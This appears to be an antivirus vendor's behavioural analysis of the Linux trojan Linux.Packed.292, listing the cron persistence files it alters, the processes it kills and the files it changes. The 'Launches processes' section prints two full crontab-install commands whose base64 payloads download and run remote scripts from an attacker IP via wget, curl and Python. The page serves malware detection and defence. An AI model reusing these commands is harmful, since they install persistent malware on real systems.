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アンチウイルスに関する誤解と噂

ニュース

Linux.Packed.292

Added to the Dr.Web virus database: 2019-01-28

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
  • /etc/cron.hourly/root
  • /etc/cron.daily/root
  • /etc/cron.weekly/root
  • /etc/cron.monthly/root
  • /etc/crontab
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • kubm
  • hgyq
  • vhlr
  • tbkv
  • jcwx
  • vdfp
  • jwhu
  • jmeh
Launches processes:
  • sh -c /var/tmp/cia kubm &
  • /var/tmp/cia kubm
  • sh -c echo '* * * * * ( while true; do echo -n \"d2dldCAtTyAtIGh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ouc2h8c2ggPi9kZXYvbnVsbCAyPiYxICB8fCBjdXJsIGh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ouanBnfHNoID4vZGV2L251bGwgMj4mMSAgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3Zhci90bXAvcnZkIik7b3Muc3lzdGVtKCJjaG1vZCA3Nzc3IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvcnZkIik7b3Muc3lzdGVtKCIvdmFyL3RtcC9ydmQiKScgPi9kZXYvbnVsbCAyPiYxIHx8ICBweXRob24gLWMgJ2ltcG9ydCBvcztpbXBvcnQgdXJsbGliO2hkPXVybGxpYi51cmxyZXRyaWV2ZSgiaHR0cDovLzE4NS4xMC42OC4xMDAvanAvam0iLCIvdG1wL2hsdiIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdG1wL2hsdiIpO29zLnN5c3RlbSgiY2htb2QgK3ggL3RtcC9obHYiKTtvcy5zeXN0ZW0oIi90bXAvaGx2IiknID4vZGV2L251bGwgMj4mMQ==\" | base64 -d |sh ; sleep 5; done & ) >/dev/null 2>&1' | crontab -;
  • crontab -
  • sh -c /tmp/cia hgyq &
  • /tmp/cia hgyq
  • sh -c /var/tmp/hdd vhlr &
  • /var/tmp/hdd vhlr
  • sh -c echo '* * * * * echo -n \"d2dldCAtTyAtIGh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ouc2h8c2ggPi9kZXYvbnVsbCAyPiYxICB8fCBjdXJsIGh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ouanBnfHNoID4vZGV2L251bGwgMj4mMSAgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3Zhci90bXAvcnZkIik7b3Muc3lzdGVtKCJjaG1vZCA3Nzc3IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvcnZkIik7b3Muc3lzdGVtKCIvdmFyL3RtcC9ydmQiKScgPi9kZXYvbnVsbCAyPiYxIHx8ICBweXRob24gLWMgJ2ltcG9ydCBvcztpbXBvcnQgdXJsbGliO2hkPXVybGxpYi51cmxyZXRyaWV2ZSgiaHR0cDovLzE4NS4xMC42OC4xMDAvanAvam0iLCIvdG1wL2hsdiIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdG1wL2hsdiIpO29zLnN5c3RlbSgiY2htb2QgK3ggL3RtcC9obHYiKTtvcy5zeXN0ZW0oIi90bXAvaGx2IiknID4vZGV2L251bGwgMj4mMQ==\" | base64 -d |sh > /dev/null 2>&1' | crontab -;
  • sh -c /tmp/hdd tbkv &
  • /tmp/hdd tbkv
  • sh -c /root/yljbsr
  • /root/yljbsr
  • sh -c /root/jqtj vdfp
  • sh -c /root/mmrr jwhu
  • /root/jqtj vdfp
  • /root/mmrr jwhu
  • sh -c /root/yhtw jmeh
  • /root/yhtw jmeh
Kills system processes:
  • sshd
Kills the following processes:
  • cron
  • atd
  • bash
Performs operations with the file system:
Modifies file access rights:
  • /var/tmp/cia
  • /var/spool/cron/crontabs
  • /var/spool/cron/atjobs/.SEQ
  • /var/spool/cron/atjobs
  • /var/spool/cron/atspool
  • /etc/cron.hourly/.placeholder
  • /etc/cron.daily/passwd
  • /etc/cron.daily/aptitude
  • /etc/cron.daily/mlocate
  • /etc/cron.daily/logrotate
  • /etc/cron.daily/apt
  • /etc/cron.daily/bsdmainutils
  • /etc/cron.daily/.placeholder
  • /etc/cron.daily/dpkg
  • /etc/cron.daily/man-db
  • /etc/cron.daily/exim4-base
  • /etc/cron.weekly/.placeholder
  • /etc/cron.weekly/man-db
  • /etc/cron.monthly/.placeholder
  • /etc/cron.d/.placeholder
  • /tmp/cia
  • /var/tmp/hdd
  • /var/spool/cron/crontabs/tmp.kINIZC
  • /var/spool/cron/crontabs/tmp.VVDeFE
  • /var/spool/cron/crontabs/root
  • /tmp/hdd
  • /var/spool/cron/crontabs/tmp.x2nV43
  • /var/spool/cron/crontabs/tmp.uN4tWg
  • /var/spool/cron/crontabs/tmp.WpV9gQ
  • /var/spool/cron/crontabs/tmp.SHH1GT
  • /var/spool/cron/crontabs/tmp.OlKXBN
  • /var/spool/cron/crontabs/tmp.SQPvvR
  • /var/spool/cron/crontabs/tmp.oV4nIr
  • /var/spool/cron/crontabs/tmp.GbLxaH
  • /root/yljbsr
  • /var/spool/cron/crontabs/tmp.BQ7L3F
  • /var/spool/cron/crontabs/tmp.jMsVWC
  • /var/spool/cron/crontabs/tmp.Dpd2Wu
  • /var/spool/cron/crontabs/tmp.Krtvmv
  • /root/jqtj
  • /var/spool/cron/crontabs/tmp.mNWXkP
  • /var/spool/cron/crontabs/tmp.vWr113
  • /var/spool/cron/crontabs/tmp.00bYLo
  • /var/spool/cron/crontabs/tmp.nkM2Qy
  • /var/spool/cron/crontabs/tmp.S2nC0N
  • /var/spool/cron/crontabs/tmp.ZiLJNT
  • /var/spool/cron/crontabs/tmp.gJoaEM
  • /var/spool/cron/crontabs/tmp.T0K1Ab
  • /var/spool/cron/crontabs/tmp.FcYC3j
  • /root/mmrr
  • /var/spool/cron/crontabs/tmp.MUzaKE
  • /var/spool/cron/crontabs/tmp.PdtC6d
  • /var/spool/cron/crontabs/tmp.R3PoWe
  • /var/spool/cron/crontabs/tmp.8UwoG3
  • /root/yhtw
  • /var/spool/cron/crontabs/tmp.1cbhcl
  • /var/spool/cron/crontabs/tmp.L3vyJ3
  • /var/spool/cron/crontabs/tmp.yNsXKG
  • /var/spool/cron/crontabs/tmp.3AG2Wr
  • /var/spool/cron/crontabs/tmp.WloLRs
  • /var/spool/cron/crontabs/tmp.LSbtqW
  • /var/spool/cron/crontabs/tmp.1M2JAq
  • /var/spool/cron/crontabs/tmp.oSA01n
  • /var/spool/cron/crontabs/tmp.YBoQMo
  • /var/spool/cron/crontabs/tmp.5A4ReD
  • /var/spool/cron/crontabs/tmp.u9pS7Q
  • /var/spool/cron/crontabs/tmp.NWHkz0
  • /var/spool/cron/crontabs/tmp.lc2c06
  • /var/spool/cron/crontabs/tmp.pS6QaS
  • /var/spool/cron/crontabs/tmp.2VQw1W
  • /var/spool/cron/crontabs/tmp.SP2PFW
  • /var/spool/cron/crontabs/tmp.RZuQEO
  • /var/spool/cron/crontabs/tmp.Ayrk0e
  • /var/spool/cron/crontabs/tmp.EUvK89
  • /var/spool/cron/crontabs/tmp.Hkffed
  • /var/spool/cron/crontabs/tmp.EpEWHe
  • /var/spool/cron/crontabs/tmp.NPmtRL
  • /var/spool/cron/crontabs/tmp.Vvp5X1
  • /var/spool/cron/crontabs/tmp.vuCGNW
  • /var/spool/cron/crontabs/tmp.IREJHJ
  • /var/spool/cron/crontabs/tmp.Q3UGpW
  • /var/spool/cron/crontabs/tmp.VuOO2r
  • /var/spool/cron/crontabs/tmp.iGyAP7
  • /var/spool/cron/crontabs/tmp.ow2fGL
  • /var/spool/cron/crontabs/tmp.2uVZEx
  • /var/spool/cron/crontabs/tmp.jb9Eny
Creates folders:
  • /var/spool/cron/crontabs
Deletes folders:
  • /var/spool/cron/atjobs
  • /var/spool/cron/atspool
  • /var/spool/cron/crontabs
Creates or modifies files:
  • /var/tmp/cia
  • /tmp/cia
  • /var/tmp/hdd
  • /var/spool/cron/crontabs/tmp.VVDeFE
  • /var/spool/cron/crontabs/tmp.kINIZC
  • /tmp/hdd
  • /var/spool/cron/crontabs/tmp.x2nV43
  • /var/spool/cron/crontabs/tmp.uN4tWg
  • /var/spool/cron/crontabs/tmp.OlKXBN
  • /var/spool/cron/crontabs/tmp.WpV9gQ
  • /var/spool/cron/crontabs/tmp.SHH1GT
  • /root/yljbsr
  • /var/spool/cron/crontabs/tmp.SQPvvR
  • /var/spool/cron/crontabs/tmp.oV4nIr
  • /var/spool/cron/crontabs/tmp.GbLxaH
  • /root/crontabs/tmp.Dpd2Wu
  • /var/spool/cron/crontabs/tmp.jMsVWC
  • /var/spool/cron/crontabs/tmp.BQ7L3F
  • /var/spool/cron/crontabs/tmp.Krtvmv
  • /var/spool/cron/crontabs/tmp.Dpd2Wu
  • /root/jqtj
  • /var/spool/cron/crontabs/tmp.mNWXkP
  • /var/spool/cron/crontabs/tmp.vWr113
  • /var/spool/cron/crontabs/tmp.00bYLo
  • /var/spool/cron/crontabs/tmp.nkM2Qy
  • /var/spool/cron/crontabs/tmp.S2nC0N
  • /var/spool/cron/crontabs/tmp.ZiLJNT
  • /var/spool/cron/crontabs/tmp.gJoaEM
  • /var/spool/cron/crontabs/tmp.T0K1Ab
  • /var/spool/cron/crontabs/tmp.FcYC3j
  • /root/mmrr
  • /var/spool/cron/crontabs/tmp.PdtC6d
  • /var/spool/cron/crontabs/tmp.MUzaKE
  • /var/spool/cron/crontabs/tmp.R3PoWe
  • /root/yhtw
  • /var/spool/cron/crontabs/tmp.8UwoG3
  • /var/spool/cron/crontabs/tmp.L3vyJ3
  • /var/spool/cron/crontabs/tmp.1cbhcl
  • /root/p
  • /var/spool/cron/crontabs/tmp.3AG2Wr
  • /var/spool/cron/crontabs/tmp.yNsXKG
  • /var/spool/cron/crontabs/tmp.WloLRs
  • /root/crontabs/tmp.LSbtqW
  • /var/spool/cron/crontabs/tmp.oSA01n
  • /var/spool/cron/crontabs/tmp.1M2JAq
  • /var/spool/cron/crontabs/tmp.YBoQMo
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/tmp.5A4ReD
  • /var/spool/cron/crontabs/tmp.LSbtqW
  • /var/spool/cron/crontabs/tmp.u9pS7Q
  • /var/spool/cron/crontabs/tmp.NWHkz0
  • /var/spool/cron/crontabs/tmp.pS6QaS
  • /var/spool/cron/crontabs/tmp.2VQw1W
  • /var/spool/cron/crontabs/tmp.lc2c06
  • /var/spool/cron/crontabs/tmp.RZuQEO
  • /var/spool/cron/crontabs/tmp.SP2PFW
  • /var/spool/cron/crontabs/tmp.EUvK89
  • /var/spool/cron/crontabs/tmp.Ayrk0e
  • /var/spool/cron/crontabs/tmp.EpEWHe
  • /var/spool/cron/crontabs/tmp.Q3UGpW
  • /var/spool/cron/crontabs/tmp.Hkffed
  • /var/spool/cron/crontabs/tmp.Vvp5X1
  • /var/spool/cron/crontabs/tmp.IREJHJ
  • /var/spool/cron/crontabs/tmp.NPmtRL
  • /var/spool/cron/crontabs/tmp.vuCGNW
  • /var/spool/cron/crontabs/tmp.VuOO2r
  • /var/spool/cron/crontabs/tmp.OKCSmv
  • /var/spool/cron/crontabs/tmp.yJPoiH
  • /var/spool/cron/crontabs/tmp.vzEOdY
  • /var/spool/cron/crontabs/tmp.ow2fGL
  • /var/spool/cron/crontabs/tmp.iGyAP7
  • /var/spool/cron/crontabs/tmp.gjya7L
  • /var/spool/cron/crontabs/tmp.RgTxhg
  • /var/spool/cron/crontabs/tmp.jb9Eny
  • /var/spool/cron/crontabs/tmp.2uVZEx
  • /var/spool/cron/crontabs/tmp.ni8zag
  • /var/spool/cron/crontabs/tmp.Cb0ebf
  • /var/spool/cron/crontabs/tmp.Jj1P4z
  • /var/spool/cron/crontabs/tmp.uF1Csl
  • /var/spool/cron/crontabs/tmp.PHaMEb
Deletes files:
  • /var/spool/cron/atjobs/.SEQ
  • /etc/cron.hourly/.placeholder
  • /etc/cron.daily/passwd
  • /etc/cron.daily/aptitude
  • /etc/cron.daily/mlocate
  • /etc/cron.daily/logrotate
  • /etc/cron.daily/apt
  • /etc/cron.daily/bsdmainutils
  • /etc/cron.daily/.placeholder
  • /etc/cron.daily/dpkg
  • /etc/cron.daily/man-db
  • /etc/cron.daily/exim4-base
  • /etc/cron.weekly/.placeholder
  • /etc/cron.weekly/man-db
  • /etc/cron.monthly/.placeholder
  • /etc/cron.d/.placeholder
  • /var/spool/cron/crontabs/root
  • /root/p
  • /var/spool/cron/crontabs/tmp.IREJHJ
  • /var/spool/cron/crontabs/tmp.EpEWHe
  • /var/spool/cron/crontabs/tmp.NPmtRL
  • /var/spool/cron/crontabs/tmp.VuOO2r
  • /var/spool/cron/crontabs/tmp.Q3UGpW
  • /var/spool/cron/crontabs/tmp.yJPoiH
Network activity:
HTTP GET requests:
  • 18#.##.68.100/jp/ldl
  • 18#.##.68.100/jp/dld
  • 18#.###.169.6/jp/lmmml
  • 18#.###.169.6/jp/jrd
  • 18#.###.169.6/jp/jpp
  • 18#.###.169.6/jp/nvn

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